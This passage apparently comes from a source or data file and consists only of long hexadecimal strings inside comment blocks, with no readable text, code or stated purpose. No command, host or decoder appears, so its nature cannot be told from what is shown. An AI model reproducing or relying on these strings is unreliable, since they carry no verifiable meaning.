6c8f541bcc6a74eabe215e6b884b3492a2b79b99d37a83dc0dbea2e7114a2734a4feee9c0f00dd395582ea18f560f7e13bde942b33db593ee23e2333cb0e4137f7eb2f8ba189a66c1e239fd58439b944bfd402264b43f02aaef7dc0fbd1fdb40560ae791f5924695c303f129321ea238fbda53f11d0369a957664cea79dee8c7ecf7a6a766574488bae88f58006ffff6cee920e900818e85c7be0727b2aa3059c7a1d384aa70ed908f473b1cc0c551cf99d35a746ce1984f14abce192d98f2e13872ab42d8a12ec180aad4880b5f2d7bfa6b77121726f955cd08a431cb235462bf65142027cdd3367234fd3b68a8d10c06c37c33be101b0176c646e9b5dd1423615a7814e32f81ab72bd7112e2785d4e14b99184fd7b02faf2f49f2e1e290d4169ff38a8ce1875d1713a693de281fd0b058a9048975812e2d8a8aa7e02e26a4beb8359ed9d43414b9bffd80f2f0a2341d91e2cc42cef07fcb3912ef7b09f9290141dfdac7492e189c45b2798aedbbb10019662c10c53aac513e02aae20089bdded689bf49b7e37a7fbcac5623f15e49b3dfa9b10e520d23b46ab9c0175373611987919f8325991054c0c105ee4f83a8445e54a64efbc9d3154d0f52679296f16e8f3ab72d065fd5e2c491ab430443752ca6fdb7e0cbaf560280e36f22ed4f71c4b17efa61991db29b2648a6f33102ed3ac1064c732bdd8fb1a60c160e95d2c82736c7513061d7d94bffac2371124133ef73829c64a56581a39e41a6ed0223521240eafbe171e72aec0db13756361ea1486a1cb7bcd2727763e5813d20f91f5dfb6332f4b59f840160f94d1cc517ce246a49054893c9828496f6de6cc424a4a599163fc8e346426a3e614383a270bf1ce0ab73de94c6584798d4b347ee2e2b4b58350f16f15158b02a9263bef6a482e00cdc531db912600e71dee1f91d5164734f362d6f9badfcf22477784b9ebac76dda0755e0768652af55efd3a8fc6bc05951caa8add2f688079e8b2dbd3f183ea64a606cd08d0a248e8ffff05aa5c77238d29a1224b5b1a6377fff2969981f077d53c71eae202b5ae86aa5e812a6a91dbd40d2ee5fcd361554e0d2bb68ba604b1d68abffadeeafc053aca7d27da05e415f5b20befb8deb0159148301ab8ddadb256ea17cf219ec7fa6e0a7e2197c2f13bbe720206ca34f0f30947dfe13da540f5bca42e05d8794fd0b0dd628b6176cbcb64c6bd76b7b8c6b2aa4d8a31f33a4099bd6ef079bc557f2ddd339e3a245e67c3434a717b69d586704ee0c80e1bb314193d07edbcf0a76be38a8f649868e4c9ef240a3bd34373784e07ba734fa77bb66caf1230d5ce287682a84e9d5f781a0085f03e2c3224440a729da8566845f138390af819fb2e0d64fbefbc8b3c2d7816ab3a928d5f868eee7727137fc3a82cb2c6d0e86a5dbf494218bc85c9b6d110ec5df9168cdd4675374438c93d0570538e34137c2bd1969bf37e47042b9f1b749d804395791f9cf7e93038027750dace53f2c503aec9ee8f855ef152e77f7e53e9d28d338b87b926e595c1ba36708be5652d9dc8bfcfa5b03df9c5471ce432d9e3a1fa371464dae334a13b94ae758c045c2f467a2ae00d6e3c3ba2074b2293649bbbe336b71d252b4d1add4932102b8bfdb2ac9986f366bbd169139693c7412885f3f8509d93f9dafcb81be40575d3583b91a8a1597f7dd71e0cf4ffe1e4fbc7ea4a9d26c00a10899774787704adcf0c700e9ae83f307a4afe683e3d172b7d82869189c3ec504c3c9ea7a1b8c5184ed702999b63c9f7361bcf1f704cef7e1f622ca1640146b30f4ceedd967fdd0b1f0f956a6ba501adbaa6a43*/
/*694cb990edeec3b18a56e30f4179bcfc7adffc9ec758cd112cc3eef1b5e4e519c6eb80fa48c3a0813a94050ad88b6a73a10992636460a75ae7b3cc18373decb71ba36bc088ed0fabd5c24ae5b1f7d3b236de42544b625ff5029e7224eb4325123ea0d8e8ab9e60f5fc8b7c492ec84ac28c16a7bf4ab09de79458b2e6c00e7baad6811205e3fb93f3b74637db350dbd64060031e519cb37d6ea5ab838bfc1c7b18e6828d20d686abcadc3a91149c1ad5ecbf433d39413e40c13ed951c6fbc009c5a84de0ea54eac3e25a2ceadabaa6b2e8312675bd4e41e99fe9fc77f2082fdc7e3274207ccd1e0143a50247a15e86998d0d95fe1ac01763466f49b077236ac2c1479dee4876da5dda78bc06aafe43ff705aafe0454980f7fa10e3da9f822d0b41ed72bc77d2946eb83e5a4ed1625eb72bb1674f95e9928cd50e473c0869d3d6bf0dbdb3c048a8d4b760fb778d3b29d5c2c97ce663b88bc0704ad50cef73dee1eafa56a0bd76eae7915004884209dd468ae0f85d86d141c1a3d50f18a49ac688ea6c0547e5464cbc57f12ed9f50183211878e77c0abb67b1ad8717010413e197adabd595f4e0447f51fd0d01d9a99c890b9695d15bf0eb758fb001942df5ba66de8d892c732a6013dad47740de70904a555bc827daedae24eedaf3dfeacefc68e9d213224e4770aab141b15825b4a9427df2f0f0575061a5e62907eb60b2dd67e5495a75a9524d79c99e5d7a082ca5c3312389b233df85ebe03df5883525e1e98a9b5106798d1cfad16eba0bb2ab1a13643703ce080553934cdfa9f64350664e5e1e6855e231a433384761ab5c20533e1f0994306917ef28e111ad0e5ca61b06da00932053be0e9572b0d21d552ea2866117174cea206e42ca54889fe212535e9ab47339f8e6983a676e55ae794a6c53348abc13cd2dbba616f6a12f2aef64b4a48ea12d19d06ef94a7a7216caa570b9e9c0b0573ca16b6f1222cb9160340b30f233ef145bd95905b8f498e52d4f171453a6151d016e45ff89b1a4ca8ea3dd85059defd97211d8f559090550d6d1097a44d99cbf6849144e3f927ea9a55d3beeac821e5716cd614a7b7fb85631fe36cf83b4f045ed05a0d5e61fe63f64c6e62c7acc925d7b5363899ae585c196220ec1c075f33db8a5685b2772f0cab7c3380c8b4b9ab50c892d7313d1c9bc970cb406ed45c230b8345334cf9560f623fecf0111e9be234f25e4283b5dd8c8f7edf66548222f8c6fe3a630b840ce3924e1401d87b9326e4db605dea81bd58c21d00b67631fa431d51253d6b43dbc650f285fbae2855ee16186eb76ba097bd71f33754938dc566534949ea914ee64fe461812cdd544b11d6240cbb62999e1d15e851e298a1aa7ae11cd3a67792fe0e0cf3f88fdf123220d94c4a09f7a0c98f18be796e5b72b740cb7daf2ea93de32be36e2376850167fab6cc72f1a24dc9ac1240c5bcd0d4e2ec02e2586661feae3e4314057ec78235712dbe90cc275b3570d533206fbd5e5d0caa7c80c6b9eb0e838b18f0da2f0c960d334b2c99ff802b481b7577711aa128a56834571f63abcda2fe27f46f59a7662c11574ec019fe27412808af159d58cd677de2b8e05c396e0c93fddc77dc750e7ab4f29b77c30fa09971032cd7e27bf170b75d7e9f378757d001a9183327e4aea2a394c29b1c92a4a13a733ce6e4ef3955911c11c265a7762c8956c6785fcdf66e4a985b29e56edd19a63c9de61402c590cf7182ca62dbd44b954e5818e38166ac099f7130c52beb668e2b54c6a3ba1acf9f9af493424d790d1bbd7ce2c4ae2852232e037c15fc0c7be7523abb9d5efb93fa8485d12cbbeb0398192045c08070ff87ca7939b5317d633abdef5d3ea4a5a07d1552092d45778b17793af5f09b31cf770546a22d6f2a45512251e4e207280c1384d50bd55991afd1f7d3c76e1ad343177e50de413652aa034b1442fb47f6ee1562a3c47e5365eeb5f20c459af88fd15e89abf26dbe6977e6d6860e56f0d4e2a804fc25088346ac2f25f36d57b08c72588d1fa6882f0cb577cb2aefdbb2b735af1441e72ba2f093e3a9a3166226cb16407ed92016faf218c063697c6abdbd69219e8a27f3d17b22cac8806f2c7491aa8e20e90568355dbb8eec8d11cab24fbca83e3e8775b58f17be42a76ad42efd741d1f733df0e126a33f5487319a5a22f60cc99d56f100a1c4b08a02ba8b0b59e3e55a6984104466dbabe099d585471a71a5c88e4b8c13e7db0d601012350512ab7e0e9a06b5e1ecb5892032ac226f4c52fad72bbc841713d900beea248944eb70bc68be5b2eaef1d5318cb687e221bec0be9c2787225d7f1a76efea1d96f00f260a4bf7b2864b9de34ae455ea662c795f669f791fe1920421f2c16fda2d1ad7ae47df4af55e5fcefcefc77804f69d9862465a159177d432ab96640cc1b89c2a5e00b6893ad119202305cb0263f5ae06b457d5360a1c6a4b401f7fe6190852b79b507e2d9b31abaf3a4753b588d4cd4c9e6ee7bdb6718f664859d22e124d328262e617ebeb83910a1dabc8beed1f7b72415264564f28745e169640e5f747ffd3afad612ee7b5100ca5ad1f4b9820e5c68202e610bfccfc541b32fef17144d25acdf6883fa2153df95755d5de3310d5689de074b740ce10b55fb35daa9c5eaa1b47b7bf15766b5c4f818f7bd4ab69a9b3e2cc685a126070d206c147eefa6e45af71494db8139021126e1002eed6a5f66c4bba9996967924a1634e616751806ff063e128ebf634ab7857aaf1498a59128d57e93d50f7924e65a4dff006ae20551a3be43e8a50e883d8a2b840f46796*/
/*4b75d113e11e4815f4673572358b2e53a80f2b9cdb7841e499c7ad44a12568a00d6f0a3c06d42c0dc4ab8db003e4ec8e1393b29653045bdbdad325eb65c0df4538cd671bc50c024ae14384bd53b0c61ca3dc512b36b7b64b99f3064474dea6d0b2c878faa7ae4456730c77c2fa52de45e5ab07dfc688ffe7cda88406a336c3442184862b1d82255df3df30e586fdbb198a10c84bb225963915b232bfd8ce397e8989d8c8116075b97df3f20c8777f55325e4c090a189c12d4783efb5e28eb20caea3987aa9eeb17652260c121fb9d611311f3c745b6713691f953fc53154d42a451779b33817435a2a6e68960bebc5e4187ed184a55297dbe81ef341135c65ec173f2aee17d1419b9be3ae2acf00e93dd727f15d2788b084ff92a7ed64866fcb413a236068df4df8b90d93b2778e6ffa47b56fdfeb4b60a52299610dee3dd02c45ef77af6ccf2ef7b477713d46b5619b70df8c9fdc94c72e1b3730ca65968a1aa7b9c9b51767afc1c481937c9975e14c3044f86fd905a8b182c29e06d8a70b225cce197737fe16adca8f850f9e1cb2d8dedf8e0459794130236f82b53f1b2c19f951f067ec488618054eca3a685d5b32e1aaf60fb1e1bcb431611c11bc48bfde25e9b494674078d230b091511e66c7967d00be9dcdaf4572837fb525d5196d67803a80a1496ee88fe1bc4044464eb5a8a69bb901a47072d8e28ccd6c76ad09cd94cacbccbcbc934b6f23ca59ccbf94e4b7367348daec827d8fb29ea9130f202c4d2178d39a5adf479e5224188b797787a4981b62ec43b69a3227ba1e79ed7d21ae6151569b8df6e02770e3b5d88f3afbff5b89be94c63445b203cec5e094977f1f96b5e5765845604a49aab3139ab883d2a84d795eee3e723adf22eb1c94a4cf9f4483825243807cfcbf601b895a527066dfaebcb38e11a999c28f6bfda3e96620ccea89fb1093f56c4f9dc52aa95c1250415dbaeac6af1cf53b83a28d062f8837f830bab31bdc518d21e3742b24b6e61f7c1fd2acf1501d99ba2ed9122b649cdbb3cac2fb6586d1a878a7a6d399abada0ef4208ccff01d01a5660d4d7ab83af295024c3bf41bd868869cef6f41307252bc15fcc18a54ab42f7a264c2fe277fd541aa911295bd11a9d66500dcc75fc79e382e07fc3cb3c4f3861117a0bc4563699cc4732047f0a8968b137447003a82dcba1a0d76b2685fd04ce5c753ce8c7c4033d65c8853f8e54aca3d1daf1909230f5b911060a5f5e6926921e3ed8f5f6e36b00c7749d7fa7924ce1d023356ede9711868fe20a6f02a07665ef9fb3c996a027108accb4588b022d6175ce97b3087e54897263f8446f1a0566118623cfe66376f67eda9f6e10ea6574922ddda7f51b4f48d68ef49694837837036d70d2a684b33041c997f2fd25759096edeb2438fe630fb247160dde96987e91010b9770d0e68a8723bedb301274c6a1dfc5a137782218a22b4778b248566cddf8239002853e17006d19b00ac3086137c9220f537292710d6e76f27f87fdd1bd74d891a961883091fb7d337cb00c3d659c2d46082f7b4888fab0419db422e01ddf537570fb386a2d253e7de8c86872933721e31a09376fd8eb003725bfea650662081f7ae56c9d97aefd700dadf56ff61cb9da863ab5497c88486f2bc1eba769d3c234387241c1371c1a710c72521627a606ef55c737f0c0e66a58d2bfa6d0cf581a2c9fea2c409f616d17dc14bbd357bc7688d22d2a01cad61e9a05f55d44e0b95eecc4be032077ce0f08d4533594fd7063588d3e149ad7bea633d86985680208645e542ddb5cc16390e367952e73eab6704e4866b4ab479435c57156c82442b54857d22ab78944df1107959c63d960de251e9ef680e14a05501cb276d3e79cb6d6c30d9596a5d0c90096ea883a4d54ecbd47589310b91e8de70be74b69471464dcf96038ec263590ab9cadd8f0f4a961188b85ded1303a1265f2008d51760a1d1fad9f88884cc2f0227aa40a618a9c89f6989272b7d229ba0fc2bb9964c5c4611b9953d48c09924a3e1f80a675f298226f03390c6a4800e28de9fc7cc13b70269da964b42976c8038ccf0821587ff5d4460affe60af8f1f58e2782835c369b66083e7740a30cc6dc2b46627a1c5960793dd313a82bda30226e1aa04468687c7f5d2ec5731a613c69ab3fed9e78581e72e44b3d6390703ade2baf4a33513e16032ccc28e3555ddd279cd3620286f02ea57a567d7743cac672370b07d42e808a90e36ee601bdef750932a4741e66d9385b73f68d6118ee28fd1289c9bf91858e8a3ea474429fd8442d1706961a3b0e42c203dc634621d6e84737b0befab1b952861686716fe0886adda75a25512975d14e9f6a06910beedf8ddb01387f0d23900cc583e8e1290b7000d435861fb8bf3b199236de9223543b54da60ef7293866bf17cf32d9226ccc92dabb7189b33a823a6becf664b1db64c684691fdbecf1b8f375119e36598ec912209e3fac2284165f1a91ea92116ba4c4b0854945452a28185e764e596d5484dbdcb0380705d1da9a8c9cbe6576c4fa35e652d3a0eefeaadf256f2ae2f82bda967f8063f9949a6b84679fecb4f1cdcd14938545a8bb46725c286c6eaf6867dacbb65687346a4da7d2c722704d225309651e71a0f325780cff334e79015856bb82caeb65f8f2137f8f3da2e0fdd30675cbef485b7438bdcff9c646b5edf6471201b3470703783e45c569956db91fbb21fa22294eab696340e6e4dda55d4de729e9b4212c921ccce4e724ed9da62bb2ee5ea1147eb512046b21eaab866619db233c563cafec8cc211d80bc02fe41*/
/*bf4700a20051c4a63325abec7583c43babee28cd40c3155444b40216ebe76aa2e0d1f3e75758b259ee87ac09fd783349010385cf39a9b486ee8c12e02c279e67a4b5eba990f032764de9d4011cd4c9b4eba52bd6a33837a54e1c471e16202e569035125c8fb2e991541440fb41ce85c63a19dafc8d35b4d46f10888eded43d18ea802b08e9370c8adb8c3b013efd17ad366db26a6b7885c39681107565eeaf179941d316068f130da6e3a48e246e02cd5a6c8c3d34bcba92bc76cc7f2bf5aebbb3ff9f179c3d73c5d71f7d030784be4e16071b44b48d4038845911d74e32a27d5a2b207cbcb3f9fd2211b48bff0f8a135df7fd39a632854de93bdf00d833ccd8d2990bfca02fcab6e9e9e2bb623825f7d2a043164f80a92c98d597433b4c7b91cebd66939cc01c8701ca91c2339b2ef53f7b925002dc175d01482380b765dbebfd06a250eb17b0d295c3223ae011ff4e99b1f314bbc7af0d6bcce36ec2da0a494ec65c818f8be49e6e48f01b9a859ad26a632dd84c5d8deaf254c87e00700ec4ec0431920d5d12d06a375ab5b9f2d28fb512ccd6cc1c233d1001793ed119562a39be637a7e3445ac7d9533f35b44ad4844c88daf3cfc824faf91a6f722a5d93b1d73679d70cf2202af0e387cfec9a63afeb7b39f87a9ca39c503b9d5ec25c9830ef2f9ba56e43e1d035fe243ef5214cf40e22cbe9c83bf4612a54c8163ebf808ed77e70333432ee875456ff855c92a342d18e975f65691ee9c0fc691dd98aacecd2be04ea48faa9993713287a0f23fee90528bc71f67526acd2686797381580db035aa58b3c2b7227b3018714839f7fcd5f698ec60ae4286a68c4e08f781960db44b6d41578c2b868479efb29c2f49826f0ebb52288e5dfe4b2b36b04d683629546b2f3317e739c1cdfbd1a2d92d1efea82383a0842c64631d100668860678412fc640e71231556a8b83977f6637d560fdfc1b3ca0512ad3f02bf3a0e75aa1a49dde4a8ab63314d91d9a86c062604b8a10b71adefa910b71d3d7b91066b1cc17960c276d0208370e747317ab1b455a3db148b6d25ca5c30273cd56af3e725130d71d258597159e9bdffe7a21aae1f71d3edc550151cf66b3518458f62bd028b7c8ced080d3ebdf631b3b11f4fdc44e59c23b4d9d9c9ef1d57462e59d021a5fa5c19d623dc9dc8b7d79b33c94cd433e950b7ed98230db620eb3aae271bd495b9c0b1be41265c1c13684e2f7a4f9bbee2f93a2bf8c4d5796ef56cc27a212ed17570615b783bb9c1e69dacc8cb4c6f7dafdfcaba8e88abdb100a0b0cff2e66a715e223ed794497db2a652a50f2d6f94db6c062ad97b58940a5827427361973c1fdc9c3d467100da710337db8eb28908ea3a32a664dff9dd56c8efd03b0ca3eb40259dc060256dd8adfeb9af6d6bd3f3bba08fe6219d7279609136837b5c9a92aa041682961fcc3eb22b88a676984436774def323d74da204efa20f1b9557bcef4d69fe34f8970a62f828027772df30ee6be35aeea189810ae701e6ee86ba4d958f16ac494548ebc8db834af080c57d888bf3edd33160a09cc54f5d5cda7f03c2f29720a1cd732d54fe8759e59ab0c5be78ee2c1ff2559f31e39ee863ec1501f52e999a69baf55418be73aa0567cd24889ba32e606d200bbaeb3fd3a4124660e161bc530dc7ff803593d902bdbe2a2c8b68702b2c79e3ebcdfb419a689a4b5fc4ee18eacb0fd8c42173907c2ff1a0d4169a5206f64cb55fff70b2f16edeb3335dd768fa620049bcd927564e349bd017cd41d14d4a3f098198614a05c7c512471c7ef339f4ed3e2dc3daad7f0715755d466ef22f65c489c383cc1b223e9da854e9b5a06a9b2b2ece60806f30ac6955214ee10567faa5646a0b5278b23c2bc9eaad22dad21a371cdfc5651c2642120c6af2ef628e707adcd9c8c45030d27534bb9768e01032c36c0b3549b37c759deb56dfdb518d252040416e3eb1aef7f8ab947e37ad6ac06d9ae106ab4b27c8d95c531dcc1843b1d27e040d977feba15a05bf421e964c43899f7760c3b50b96f0aff662102476893826719dcc919bb5cf754410ab4a498d1496c92aebc1cccccbedaddbcc996cc73da1bd1e161a3e463dd9ff14950226efb9041c2d6291d0eeda38f97d219acc708092c8673b5ad6f7904b5bbf84bc44043e120093e70e649809ad9fa9a56e6144dff8ad795ce558c2bce004e0e9bd26de53247130a7b1df82c113cfe69fe27991b59b9e278ad385387d3f8c341af0219214d378282c06e1724bd38ec21ccfd6a9b1fefad0e225fbb6d272ca343dc616977caec9f5382da142de173da57728673696f7375f20b60e563e0442bd5045216960b79f423f33e6e36a7fcb5688567e02bdb853c354cfc7e787eba817eeb3eb7720e1f1c4f177c0649147b4be02ed995bc46d35d1410ecd67b10ac1a2683f9d9f61921851dce025dde7f0229dc31973bcbbee1c88069262a26e5f890aa4c071365698f1db68d1466447b886c2c37469ea2066be5d502f0f79bf2146431a6b4648ebe3d0522b483a761c4977fde8a23aac42bd20357333722c25e1863e162536a9939bf6c565b9611e8cbffc83e1d8338c0020f335684bd6e3a9d6d10b7b578b0aee2596d73f9d712093c119d9f307e16cb4e78a727a0c1c45bded8c6b561c1eace27c5c089d26b2a95f5466ce9607cfbb88f9b80bbc2d23e8b02dfeb115887158d4f26d1b065ca63990c5fc4e86c8c8608b1990fc1179af4f48ea78d20324a8e82536d3164952e9053bb60c1dedfe4e9effd397b2ac1ccb34662c266dbfc94bf4ef0e51f20cc6edc3b8a54516184*/
/*a14095884c5e2ab66fc086585e8bf61e6e2e35656141f7ae3708b42d60c133632948ff770315ff848c384cfca0624721122ad70222b8790f39f74171477f8db5ff5408f48a876696e3630bb15fb512ddaab4d7c7df1f84e75624740a17aa5b8ea8611e1dcbc6bcbd90dee940cf37888b879e8fc7cb123cfd348fe8757cff151affde9d49ddbb5d584ed14e1b78bae312ef91b69f730d1e883cc9c706b3a8e2b5112ac680621e05a55dc19c644b0654ba9fb6d7d48c8ef07598f5a1ea64c51a3d3f6986a90e7859542ae7ffea452f250054048965409b85af66d5442e0c3defa82f48c57fe22b17891f572fb9ef8c72defdaa1f52cb95c3f0c5e8abef64e33d58edff8cb5fcf6ca2d5e271044e3b6767c3fe42b6594d2e02704612a82a93f9cd11465a0412fc275da603d569847dc93abed30791d9f851469413b42a24ec830332dda622488266ceb54366e90a76575defd35bb6258d26fad646916651e44da7dab535a3399a00cde184504e771b4b19aaa2f4cc8c6b3eec16e7d529c47e01188a7134f48ea8cd29b4d11386aff7698615e69753e3b7e6ebe671154ab59ce5cd388b5ffc5c8c38a659e986d7aa660029286c4ee1d238ee313cbfbc6779caf42769f182e1263d8a6910e96ce30404e858bedd7ea01d04b318a2d65906db8b7cb1359e55abf7189bbc4187f8bf6dd211e414e0979df7cfcd5c1858ac5f7bfe209c297e93a022df56aef2f8c2154d7ac71970fc5de0ead45f79f4360d2d26fd6ec5ee134fbcda5897cc40bcca2209e7891dab265f4eafe992b86579c1c23d6f39d7c5ed088869d2f3a3e8c9d6a1efefc8559c8f501bc7f7f37cf5b5385bc7c32fa1b724604614f8e5a10ca7ce857b7959366e5f7d8994f7dc3359744fb1f4634367fe96c26ce32e5afa235e1127902b1a87517ab41bff5f9e912cb98a0c515f7dab5112edca833cf9669eab349444bed9a19c062bfde9ed099003807a0968bb4ed87fe15f1c8216293e31c2b07afa1124dd3d74d482dd36a9b35ace45666bc72409f72b7382d6a54ef1a60f3a004873b3b4f646d87345610884ab2e381e63d64cf1fa63282f872c7f7750369ee9a8746cd03c9ef8239a57e91986cd3ffe3dd60b915fd1b283edd4d01b0e1d5213fc9322b35a6940c976ca5485ac8cf5b90e3f36ff92ac03b2da0e44fd1bb859ab0e48a30127b2bdbca0ee700ab968f77aec08e3927e34d35706417db333afa0b0dd0750817b008ac41228fb8fb85d50d88b0dee7a54e6ee4983a0c792595f6c2cb8e8c5c455904054a8bafb497f4ea82e2c596f7ad3e0ccf9172cd5194c3c9711c6162c0315126ce0aa9f9cc0dacd94ffca4f75895d600a616c449a5a3536aa3d85ec3d1f28ca1164028a4fdbc184de8c5cdb3880ae4d11b98dba1f3a7535b32ace65140065713ad70ee36a7ab81c3e59449445d55f380029b54bc9a59bac7b949da5d73fb2522e96979d5b1c4ffac8294d900c9f26a1f266dfe35c39055cccfaafaa99a09bb25783fcfec1dce2e847a2199a80025f467ddb945e0111ec78abddc2d38dcc71b5e9303fc65aedfc4b2536f84d2909d4db2aa1fada6d26fef378f74770c387b038b4fa9999039eb5d1596af67efcc8e30d925a0842c64907791a436385b32f7236f8301894f5dafb610c652a8c7a52c3518a4e5512db58ad3870e04597020355b6f55a8001e8f8ebd0ae9127a9d42b1033b9bab5b7b21705d139d6b8d67673182ba53a8b39f104550447ac085dc41639df8548ed3288d93907051b43e7edfa000d080393cfd9c41707586f358bb0e87baa6a8aaedd0bb75d2f756860c1515745a1ac886399dcf3c912384e23eaf5ca87e9203f4be5572d29732c977a2e6d84df79f65196800f742fbabc61addb7f58f9e6f8eb4407abd3b74f822ee85744d49dacceca273c483f785a65ac0a268785e45569b10c29af2891470252c593f9a429a7d561856abe8cb03a16f8eff4cdc6697ef6c0a0d17a54cd390ccff97da51f12cd77b8daba1116782f70bbd5a5e822b9cb12bbcf44f015548c76b51607a7d820509436420e5964bd8d60e8699217287a1f73ae760c4c3774845feda321c8cc46d145795bcd35c406d36035549cf0d39862d02f6bc106c4e59f0ac95e1c38bdcfa59e614d3d99dcd12d5d71fd6170d84dbd3001e9098ce3c34c52681e473b8ce2262c0ae8e237ce152a6c8d286fb2978a4e5951cf9a48436f57125400eca44b27636f749dac16e82e64e65bcddb8b57ffda54f629b51f5f0aee014043a0469eb33168fa503eac649cffea0a176d55cad74a4faa6d92a1ca4e9f7ab9f645e848857abf4b01a5961a1664193bea4e8180e402cb636397ad8c17e52fa1330549060b949903f400e3ba118eebf1d032d7d4e90e068756215e1004ce85fb58e268b9b9501f6b6b0c890b54448798b8b6f1a579599cdfa569b471d84850a0be7e4b10d83f7977fc31ba0a9ec08525f4c7927cc86db3ec18ded867242753ba38ead4cd30c526b1eff741917320f1fa0debeed256c80f8459a9a7f45aecc5d0de492544cbee6420e3474c5b835740aea3cb4e7521dc936f77afccba531d5d15b095f7d0c92bcff33ff3c5213016ce88ccf2e03545b57460a59c6a18728594bb82941320e6e8bdb312ed8b38b82a7f2130f372a99c2edacd04491fc7ad58204dd5a56de76e9414b1298beca87504031b6a7792c6d41245ef4520a6114a888a056b9970acef007aab1a25f96948e18e2993020af8933cf0b593ee7d57ebff8f735d77845c13036840a0db509e6d0510d3c3054ac10d50d5030739ff49791b62b7364c897de*/
/*a4921368f3108054d057591a479712a684b72e278715cf78c9736d916a9bc704bd8931b73045e7ac140879b0e66762171fb4ed6493fe8cb2574322786426281441bfe87dc4479ddd3bc508936a721feb10026ff494ca9e12c964049755c9053b4c468a178efd046144f28cd7511f73f39c83c05e64d0d88c61ea2d36adfefc5d5becac0f68226ac58006dadfc337b7d51dda828e72201e2bfe6b01b373aa28e77016e7afc1953cdcc2048e74bf9225f2ce6f8e9d35e3b4b69f49d083ee91515a397339e9cec135dd697453187868c5a8d8f7b7746f2224699c7015678d7fd7b8d74fd99d9eec10484339dd6cc2a6bcc5143f02bb9ef85a06caf73e7a2d5f8f644e04b992906646f201fdd32297c1208d07b678dc8b7b870c1177da1eb5d8a3ecee6b34d18f88b1578164c36fcf96d5b3fc0d23f048e5bf98cb7d952e8be8cba69f04e04da3fba6bd177aa3cf62eece2f366a8a48067c17bfcedadfbe4aa8b459cf1a9c537645e320c14584bafb02a08f437c2ad59b7e1fc09d8ed7fc43c5b9661f79b213db41e7cdc18063ad7d54e5d6ef0c36bef22d0ea5496ce19e865f3b3692514f02ae8d175218cd6a8f318a5460931a513e88232cd6827041cbf83bc25553b7c1ecab7722360b5ddc6676d2e741cf214de12e7c05745945327ff57aa9a5736abafcf3b46c55cc727f727bee5381480a985f3cd63b174f567ce8860d3f2bd324db7e768c144effb287e89fb9ada55e8e32c16770d8d82cd95a368318bc4a28b008e6fe1a003d05b6bdb269a7d9d4cf87ffb6f8833b27793e6b6af3acc1d3b62ed193f7c28dac07f3a11dae2d8e75f25d4929b4c4ba185c32f363f9ef53756158d07580ea53a3f773452b19f1e1383e926ae3afd27aae1793a4c31e021fbad1d19b7131d0f706353080faf8812fb3ee653cbdbe7d805e2df7e3c56bc8db4625b4958a341674ba3453a5dfd22171fbfd4cea4eb04ee67dc017c8f58085daa1758bc8325562a3485e1e631f4fade832da5666a2af100c3e1008df3fda7f64580715e4462409131266cb0c4f819ac33a4accd90c5e557c13f0313307fd0a9c973b86af23cc2ec03c10f95fabb2865f5119ce3454680580cc80e2324d119095082df849bf1cc56cd071a0956bf946a129978cc725a5aedc9f2f07cccf02c881bb8a5dc7a4f4b96cf170430b9e6db5d094e8a9fc9e42e6a124a51357d565c8539b356f7d08020e2817cad5b934338e573c87d326456a5c297c03d1a5e0afff4e589ed65c3b6a60f2d85714efa76564b4a854ac2da4b2b38a2fde34672f100b239a1764748c99ffc6a888a9622346eb62418e6ef34502b6e2311ce10a9d9fce6e252ba200cacef56da44e9e136bb09cc8dd690460e60200d7a870482059a26979f8f7ab7d1fee12341d10afcfec1d7372fe9a4a188ce7460769c5e3dbcde9daf4ffd99f1ad769943778ab24ff872e84fb249186037fd70d1a726b8d7d14e877037487defe9fccdd04ad8544de5a2513534a894a4bb20b18f5679ed82fa3cf9092dfaaa61a56f702f48bb6e226fa3d487ec8917ecd0551cba7b55b553e214848dcaa7b36d7ff9fb2b6224a0d247fcca92f45655dd0353b028ad917a56096751e627bc8e1477d184e379a3866c01bd60774c2509b0200155093ad27174a5cd49372afbe4af25723b1866a860418eb92f4e91ead4c0567cb2eb0f068396c7c59bf593543aaafb5bdf0f0c76bfe2a172aa8913237bc8987b4f0146ddf1ee7f34f5948f7ad17d3277a139efc64b05ccaefa03f2b440af5df9044c87bcf16fecc990cadeae92d994ded07299d4b642734022d6b61b83817b8a8630863207a0c8d4a216f66082f04e1c40718119bc6a79cfa6e5560415ccd9182f2c477cde938dc9eba10c470d54b7631686229dd0fd0c6f766b6c6dcfcbd0966338105b8e45b0c909a322108fb1fc922307566fa750fd16fd9d2a9cbcef9e1c0723d9f7d1796375f883c723466bf251e2f4474a233ab69d046c4216db0564821dad4c798b49919b47981251c8bec150e9c11afcede67ed181939dc1c75f99c2dce8a44eb7b800732c636c961b8bc42cc2b3a0c36ec46699254b4059b1802c38dbfedf68a4ee49735e3e9816bb34165946c7fb10e07cff391f040fa4e256842195868556498a8ca3a2353bbccd1c35be8dd23c03ef80b2174c866af246847b208b7399693655ffa3543ff0c0003eb2e7974fa35b28d1a63646f21fe77af926977b5e930727631bfd2444b4e0237efc65c7620acebca173d2ac8d4f2106bfb8fc7cbe6d36b74f5796f821fdf1c56fa3b9610396630a7e5364e272e89e5f08a0531882bcfbd1739d7e4fd8f763d4afbf8f095a2cce81761f33608fa478a773bffc0bd1db600bc630b06e3ce5456a322d4c1b3ba36d99a9a1e64acaedce5f9d90e348d257da525acc7eb850fe37b546c8c359d67ab7c0b07af2c4e812abe25243f60b678a1e788cc53f2c5046fa3d84c3643fd36d1a991f9b59e761c47378dde5abd699e35c1b76e01be23034bc4e66e873d0cb093f2f441880ec9bbfb42e4df02f10723598dbe9619a7626986e5d9b9dfced4497951aa234ec3286c01efe71b06e92ee383c46fd689ca2f368b6be60ee9b3ab6ccafadc937adbe9e28e455117e51ecf04adf52d216b86da36e35e6e4101055c367f4f192f14e63851315b08af1b557a701b5b387c75f7ea6212f16dc9da32b0e76bf0d61603a04bbfdb7940cf241e227e3b5deb8f0985d32a177b4dd291c13b0cda6ecaff29c3dc994106fe60729ba49d58d886d7d0ab62057d176d19ceca20cc16177a42446dc9cf10*/
